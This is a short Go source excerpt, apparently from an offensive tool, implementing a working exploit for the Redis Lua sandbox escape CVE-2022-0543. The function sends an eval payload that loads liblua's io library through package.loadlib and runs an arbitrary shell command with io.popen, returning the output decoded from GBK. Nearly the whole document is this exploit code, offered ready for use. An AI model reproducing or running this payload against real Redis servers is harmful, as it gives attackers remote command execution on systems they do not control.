RedisLua Lua沙盒绕过命令执行 CVE-2022-0543
(cmd string)
| 8 | |
| 9 | // RedisLua Lua沙盒绕过命令执行 CVE-2022-0543 |
| 10 | func RedisLua(cmd string) { |
| 11 | ctx := context.Background() |
| 12 | |
| 13 | val, err := Rdb.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result() |
| 14 | if err != nil { |
| 15 | Err(err) |
| 16 | return |
| 17 | } |
| 18 | fmt.Println(mahonia.NewDecoder("gbk").ConvertString(val.(string))) |
| 19 | } |